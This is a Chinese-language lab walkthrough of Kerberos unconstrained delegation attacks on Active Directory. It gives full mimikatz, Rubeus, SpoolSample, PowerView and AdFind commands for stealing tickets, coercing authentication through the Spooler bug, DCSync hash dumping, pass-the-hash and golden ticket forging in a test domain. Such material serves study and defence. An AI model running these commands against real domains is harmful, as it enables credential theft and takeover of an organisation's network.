0x01 委派前置知识
委派是什么:
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)。
委派的分类:
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。基于资源的约束性委派主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
0x02 非约束委派攻击
概念:
服务账号可以获取被委派用户的TGT,并将TGT缓存到lsass进程中,从而服务账号可使用该TGT,模拟该用户访问域内其他服务。非约束委派的设置需要SeEnableDelegationPrivilege权限,该特权通常只有域管理员才有。
实验环境:
- ad01 域控 administrator 10.10.10.100
- dc01 域用户 test 普通用户:User 10.10.10.101
在域控上配置非约束性委派
计算机用户的非约束性委派配置:控制面板\系统和安全\管理工具\Active Directory 用户和计算机(%SystemRoot%\system32\dsa.msc)---> 域名/Computers/名称/属性 ---> 委派 ---> 信任此计算机来委派任何服务 (仅 Kerberos)(T)
配置了非约束性委派属性的计算机用户的userAccountControl
属性有个Flag位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION
,其对应的数是0x81000=528384
命令行输入:adsiedit.msc
然后找到CN=Computers --->CN=exchange
服务账号的非约束性委派配置,可以先创建一个普通用户test
net user test ABCabc123 /add /domain
普通用户默认没有委派的选项设置,需要给他注册一个服务主体名称(SPN)使其成为一个服务账号
setspn -U -A priv/test test
也可以查找指定test 用户注册的 SPN
setspn -L test
这时候 test
用户就拥有委派的属性,可以将其设置为非约束性委派
配置了非约束性委派属性的服务账号的userAccountControl
属性有个 Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION
, 其对应的数是0x80200=524800
。
命令行输入:adsiedit.msc
然后找到CN=Computers --->CN=test--->右键属性
查询非约束委派的计算机或服务账号
注意:默认域控是配置了非约束性委派的
查询方法:
powerview
下载地址:https://github.com/PowerShellEmpire/PowerTools/
# 导入 PowerView 脚本
import-module .\powerview.ps1
# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain sunday.com
# 查询域内非约束性委派的服务账号
Get-NetUser -Unconstrained -Domain sunday.com | select name
Adfind
下载地址:AdFind - Download & Review
AdFind.exe -b "DC=sunday,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
AdFind.exe -b "DC=sunday,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
还有一种是ldapsearch
是kali自带的一种ldap探测工具。
(1)攻击方法:诱导管理员访问
原理:
管理员需要访问到服务机器上(开启了非约束委派),那么此时管理员的TGT就会留在服务机器上。
利用条件:
- 管理员需要访问到服务机器上
- 开启了非约束委派
利用过程:
清空票据
mimikatz.exe "privilege::debug" "kerberos::purge" "exit"
模拟域控访问 服务机器
Enter-PSSession -ComputerName dc01
导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
导入
mimikatz "privilege::debug" "kerberos::ptt [0;313137]-2-0-60a10000-Administrator@krbtgt-SUNDAY.COM.kirbi" "exit"
# 访问目标共享盘
dir \\ad01.sunday.com\C$
(2)攻击方法:利用Spooler打印机服务漏洞
原理:
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
利用条件:
- 需要administrator权限
实践过程:
- 首先利用Rubeus在dc01机器账户上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 ad01的登录信息
Rubeus.exe monitor /interval:1 /filteruser:域控机器名
Rubeus.exe monitor /interval:1 /filteruser:ad01$
- 再利用SpoolSample强制域控打印机回连,获得域控机器账户的TGT,需在域用户进程上执行,
注意:如果不是域用户要切换到域用户上执行
SpoolSample.exe 域控机器名 域用户机器名
SpoolSample.exe ad01 dc01
- Rubeus 监听到base64编码的tgt ,该TGT是base64的,有两种方法可以导入到内存中。此处base64字符串导入票据需要进行处理,去除空格和换行符\n
方法一:使⽤powershell的base64转换功能
- 用powershell转到为正常的TGT
# 用powershell转到为正常的TGT
[IO.File]::WriteAllBytes("ad01.kirbi",[Convert]::FromBase64String("捕获到的base64编码"))
[IO.File]::WriteAllBytes("ad01.kirbi",[Convert]::FromBase64String("doIE+DCCBPSgAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQwbClNVTkRBWS5DT02iHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbClNVTkRBWS5DT02jggPCMIIDvqADAgESoQMCAQKiggOwBIIDrH483TRQUNVo8JBBmYvFLPWRjT5Tfup39SncotoGUclsi3bnUqmbH6gNxGHK6H16kTnRz0BSujlW7NOn66rcOLyQpesVZtDwvtvdWOi58rCCVwxI1mNghu5q79M/i1TTp9L5U51UwiRPy6mNSUegmuJbiTsp+cke4DO6cgwHd1z0Jai39pIBO7+Nc/sm0lxmghxtBpFk4IY8tCVDSThPA9Uxwf0YNl5eKbhpOAdxlh3rv7Esig9/Qc8zefRewdOfFXDBlhafUcHMOukUj1FjDs5nFm8s0kLalQ2nacMfsuD1Roe+hh/0EIBExfev48vFoCq+6w4lG6oZfxuKqq9gCDtFEdDywQqzphv7MNW2jB6zKY0mx7TG8nAuOLLz5pb+aJJSFG70tKsXemS0OARzR4QEVZiMJcxpZyYnMFL2VVXGbO8e2Nqfftcdf8vKvOwgdknuWR3nTA5YcsCls+nrWvmf5LD9d5GQGqieAmqxnrJOdNT0aiBSmbrEtQdPfRByEs21BN9vFjmIJrGIDAYAHAV0qlnzPA+v/Jwhcp3cO0jD4TtopO5f1cmQxrzG5cw1S5zDIePhY+OtITJjb4ELyKxO10qV195Xu/+psxI9htfsqWu6RGLe3bv4Pe3H6r/Q/7iQvYEWoKxOXAmNcD5EygSUPlMf86htxaWCBo3K7OES/xPLonOijrStBf2A8eVmpvdfxzgEewBeURcROqb2t4nrca5d7Ko4XPDU7tDhgWCODgeSoxVBqUWKQLw53Cwkp4D5kB9oVZ4R1RFfGtIf6L+YV6TwfPS3x3jety86mdl8xo3dRKSWoh2MYQmbH5jCXYbZYJlb0RQuYXpWFKJAQg8XfEz+P7JGg0kjcVCHlsy8F0OUoNce7GAoSNQ/HeeepE3JJbzXUX+mP7v8LbmLYt31LX9gJ77DwUJd6K6lhRh4iPEiLdikfljSFkLqErViWjrzl3otkbQEwrk+tXuZfvqu8XttKFkMbxArDW6oMX2WmHK3suYVCQ6EaDubhA8xMx1xLRHBuiMazUD8HImfJTehe6B3p+kVYrDJR5yZVuZIPOvYd81fu8hsdCoBkHW1FJtd6QaNlMYfc83a1BJQk4Oea+iJScb0vEPeHnHAIgxBglQs+LMcL0zR68qMn/mhBDpF2nRQNmOYP96Ric1HWIuX39BCcYb4eF69prSBvr+yBr1DZUiAiyGLoMklQjJgmCXjj4WUqlOtm47aNL1HxVwMaI9LEfVK4ElPtVmjgd0wgdqgAwIBAKKB0gSBz32BzDCByaCBxjCBwzCBwKArMCmgAwIBEqEiBCBloVI5xlygKjh0lezKKdUa42lu2CxyRDzcMuuI5TdVC6EMGwpTVU5EQVkuQ09NohIwEKADAgEBoQkwBxsFQUQwMSSjBwMFAGChAAClERgPMjAyMzA2MDkwOTAzNDJaphEYDzIwMjMwNjA5MTkwMzA0WqcRGA8yMDIzMDYxNjA5MDMwNFqoDBsKU1VOREFZLkNPTakfMB2gAwIBAqEWMBQbBmtyYnRndBsKU1VOREFZLkNPTQ=="))
- 执行命令后,会在当前目录下生成ad01kirbi票据,,放在mimikatz.exe目录下,使用mimikatz导入票据即可。
# 使用mimikatz导入票据即可
kerberos::ptt ad01.kirbi
kerberos::list
以本地管理员权限运行mimikatz进行dcsync,成功获取域内账号ntlm哈希值
# 利⽤域管账号和hash,成功后会弹出⼀个cmd窗⼝,此时和域控制器建⽴ipc⽆需密码
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:sunday.com /ntlm:0d546438b1f4c396753b4fc8c8565d5b"
方法二:dcsync获取域内账号ntlm哈希值
- 使用Rubeus导入获取到的TGT票据
Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQwbClNVTkRBWS5DT02iHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbClNVTkRBWS5DT02jggPCMIIDvqADAgESoQMCAQKiggOwBIIDrH483TRQUNVo8JBBmYvFLPWRjT5Tfup39SncotoGUclsi3bnUqmbH6gNxGHK6H16kTnRz0BSujlW7NOn66rcOLyQpesVZtDwvtvdWOi58rCCVwxI1mNghu5q79M/i1TTp9L5U51UwiRPy6mNSUegmuJbiTsp+cke4DO6cgwHd1z0Jai39pIBO7+Nc/sm0lxmghxtBpFk4IY8tCVDSThPA9Uxwf0YNl5eKbhpOAdxlh3rv7Esig9/Qc8zefRewdOfFXDBlhafUcHMOukUj1FjDs5nFm8s0kLalQ2nacMfsuD1Roe+hh/0EIBExfev48vFoCq+6w4lG6oZfxuKqq9gCDtFEdDywQqzphv7MNW2jB6zKY0mx7TG8nAuOLLz5pb+aJJSFG70tKsXemS0OARzR4QEVZiMJcxpZyYnMFL2VVXGbO8e2Nqfftcdf8vKvOwgdknuWR3nTA5YcsCls+nrWvmf5LD9d5GQGqieAmqxnrJOdNT0aiBSmbrEtQdPfRByEs21BN9vFjmIJrGIDAYAHAV0qlnzPA+v/Jwhcp3cO0jD4TtopO5f1cmQxrzG5cw1S5zDIePhY+OtITJjb4ELyKxO10qV195Xu/+psxI9htfsqWu6RGLe3bv4Pe3H6r/Q/7iQvYEWoKxOXAmNcD5EygSUPlMf86htxaWCBo3K7OES/xPLonOijrStBf2A8eVmpvdfxzgEewBeURcROqb2t4nrca5d7Ko4XPDU7tDhgWCODgeSoxVBqUWKQLw53Cwkp4D5kB9oVZ4R1RFfGtIf6L+YV6TwfPS3x3jety86mdl8xo3dRKSWoh2MYQmbH5jCXYbZYJlb0RQuYXpWFKJAQg8XfEz+P7JGg0kjcVCHlsy8F0OUoNce7GAoSNQ/HeeepE3JJbzXUX+mP7v8LbmLYt31LX9gJ77DwUJd6K6lhRh4iPEiLdikfljSFkLqErViWjrzl3otkbQEwrk+tXuZfvqu8XttKFkMbxArDW6oMX2WmHK3suYVCQ6EaDubhA8xMx1xLRHBuiMazUD8HImfJTehe6B3p+kVYrDJR5yZVuZIPOvYd81fu8hsdCoBkHW1FJtd6QaNlMYfc83a1BJQk4Oea+iJScb0vEPeHnHAIgxBglQs+LMcL0zR68qMn/mhBDpF2nRQNmOYP96Ric1HWIuX39BCcYb4eF69prSBvr+yBr1DZUiAiyGLoMklQjJgmCXjj4WUqlOtm47aNL1HxVwMaI9LEfVK4ElPtVmjgd0wgdqgAwIBAKKB0gSBz32BzDCByaCBxjCBwzCBwKArMCmgAwIBEqEiBCBloVI5xlygKjh0lezKKdUa42lu2CxyRDzcMuuI5TdVC6EMGwpTVU5EQVkuQ09NohIwEKADAgEBoQkwBxsFQUQwMSSjBwMFAGChAAClERgPMjAyMzA2MDkwOTAzNDJaphEYDzIwMjMwNjA5MTkwMzA0WqcRGA8yMDIzMDYxNjA5MDMwNFqoDBsKU1VOREFZLkNPTakfMB2gAwIBAqEWMBQbBmtyYnRndBsKU1VOREFZLkNPTQ==
注意:此处生成的 TGT,相当于域控真正赋予了我们administrator本地管理员权限,所以此处我们可以使用命令来导出域内账号hash。
- 以本地管理员权限运行mimikatz进行dcsync,成功获取域内账号ntlm哈希值。
mimikatz.exe "lsadump::dcsync /domain:sunday.com /all /csv" exit
- 如果当前用户有管理员全新,我们可以进行PTH攻击
# 利⽤域管账号和hash,成功后会弹出⼀个cmd窗⼝,此时和域控制器建⽴ipc⽆需密码
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:sunday.com /ntlm:0d546438b1f4c396753b4fc8c8565d5b"
- 如果是普通域用户,可以使用黄金票据
# 使用mimikatz导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# 找到一个域用户的sid 以及上面导出的 krbtgt 制作黄金票据
mimikatz.exe "kerberos::golden /user:administrator /domain:sunday.com /sid:S-1-5-21-2888174449-3543184991-2258948194 /krbtgt:bd53152857e38d92987c211b8b10803d /ptt"